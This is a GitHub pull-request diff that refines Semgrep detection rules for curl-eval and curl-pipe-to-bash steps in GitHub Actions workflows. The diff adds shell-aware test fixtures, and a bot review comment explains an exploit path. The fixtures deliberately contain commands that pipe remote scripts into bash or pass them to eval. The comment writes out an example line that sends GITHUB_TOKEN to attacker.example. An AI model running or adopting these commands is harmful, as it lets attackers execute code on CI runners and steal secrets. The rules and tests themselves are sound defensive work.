Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 14 additions & 0 deletions yaml/github-actions/security/curl-eval.test.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -23,3 +23,17 @@ jobs:
run: |
CONTENTS=$(curl https://blah.com)
eval $CONTENTS
- name: Explicit Bash shell
shell: bash
# ruleid: curl-eval
run: |
CONTENTS=$(curl https://blah.com)
eval $CONTENTS
- name: Prepare Windows cache
shell: pwsh
# ok: curl-eval
run: |
$cacheDirs = @("D:\cache")
foreach ($dir in $cacheDirs) {
New-Item -ItemType Directory -Path $dir -Force | Out-Null
}
20 changes: 17 additions & 3 deletions yaml/github-actions/security/curl-eval.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -29,9 +29,23 @@ rules:
confidence: LOW
patterns:
- pattern-inside: 'steps: [...]'
- pattern-inside: |
- run: ...
...
- pattern-either:
- patterns:
- pattern-inside: |
- run: ...
...
- pattern-not-inside: |
- run: ...
shell: ...
...
- patterns:
- pattern-inside: |
- run: ...
shell: $STEP_SHELL
...
- metavariable-regex:
metavariable: $STEP_SHELL
regex: '^(bash|sh)(\s+.*)?$'
- pattern: 'run: $SHELL'
- metavariable-pattern:
language: bash
Expand Down
13 changes: 13 additions & 0 deletions yaml/github-actions/security/gha-curl-pipe-shell.test.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,10 @@ jobs:
# ruleid: gha-curl-pipe-shell
- run: wget -qO- https://example.com/setup.sh | bash

- shell: bash
# ruleid: gha-curl-pipe-shell
run: curl -fsSL https://example.com/install.sh | bash

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

curl downloads install.sh from example.com and pipes it directly into bash, so any attacker-controlled change to that URL runs on the CI runner immediately.

More details about this

This step downloads https://example.com/install.sh with curl -fsSL and sends the response straight into bash. If someone can change what that URL serves—through a compromised server, DNS hijack, or a tampered dependency endpoint—they can make your GitHub Actions runner execute their script immediately.

Plausible exploit path:

  1. An attacker gets control of https://example.com/install.sh or intercepts traffic to it.
  2. They replace the installer with a script such as echo $GITHUB_TOKEN | curl -X POST https://attacker.example/leak --data-binary @-.
  3. In this run: step, curl fetches that attacker-controlled content and the pipe sends it directly to bash.
  4. bash runs the script on the CI runner with the job's environment, letting the attacker read secrets, modify checked-out code, or use the workflow token to push changes or access other GitHub resources.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: curl -fsSL https://example.com/install.sh | bash
run: |
curl -fsSL https://example.com/install.sh -o /tmp/install.sh
# Replace the placeholder below with the vendor-published SHA-256 for the exact script/version being downloaded.
echo "<expected-sha256> /tmp/install.sh" | sha256sum -c -
bash /tmp/install.sh
View step-by-step instructions
  1. Replace the pipe-to-shell command with separate download, verification, and execution steps instead of curl ... | bash.
  2. Download the installer to a temporary file with curl -fsSL https://example.com/install.sh -o /tmp/install.sh or wget -q https://example.com/install.sh -O /tmp/install.sh.
  3. Verify the downloaded file before executing it, for example with a pinned checksum: echo "<expected-sha256> /tmp/install.sh" | sha256sum -c -.
    This prevents a modified remote script from being executed in the runner.
  4. Execute the local file only after verification succeeds, for example with bash /tmp/install.sh.
  5. If the vendor offers a versioned release artifact, prefer pinning that exact version in the URL and storing the matching checksum in the workflow or in a checked-in helper script, such as VERSION="1.2.3" and curl -fsSL "https://example.com/downloads/${VERSION}/install.sh" -o /tmp/install.sh.
  6. If this install logic is reused, move it into a checked-in script and keep the pinned VERSION and SHA256 together there, then call that script from the workflow instead of embedding curl ... | bash in run:.

Alternatively, if the vendor provides signed packages or native package manager support, install the tool from that trusted package source and verify the signature instead of executing a remote shell script.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by gha-curl-pipe-shell.

You can view more details about this finding in the Semgrep AppSec Platform.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

/ar Intentional positive test fixture. The ruleid annotation asserts that this unsafe command is detected when shell: bash is explicit; replacing it with a safe sequence would remove the regression coverage.


- name: multiline curl pipe bash
# ruleid: gha-curl-pipe-shell
run: |
Expand All @@ -57,3 +61,12 @@ jobs:
curl -fsSL https://example.com/install.sh -o /tmp/install.sh
sha256sum /tmp/install.sh
bash /tmp/install.sh

- name: Prepare Windows cache
shell: pwsh
# ok: gha-curl-pipe-shell
run: |
$cacheDirs = @("D:\cache")
foreach ($dir in $cacheDirs) {
New-Item -ItemType Directory -Path $dir -Force | Out-Null
}
20 changes: 17 additions & 3 deletions yaml/github-actions/security/gha-curl-pipe-shell.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -30,9 +30,23 @@ rules:
confidence: HIGH
patterns:
- pattern-inside: 'steps: [...]'
- pattern-inside: |
- run: ...
...
- pattern-either:
- patterns:
- pattern-inside: |
- run: ...
...
- pattern-not-inside: |
- run: ...
shell: ...
...
- patterns:
- pattern-inside: |
- run: ...
shell: $STEP_SHELL
...
- metavariable-regex:
metavariable: $STEP_SHELL
regex: '^(bash|sh)(\s+.*)?$'
- pattern: 'run: $SHELL'
- metavariable-pattern:
language: bash
Expand Down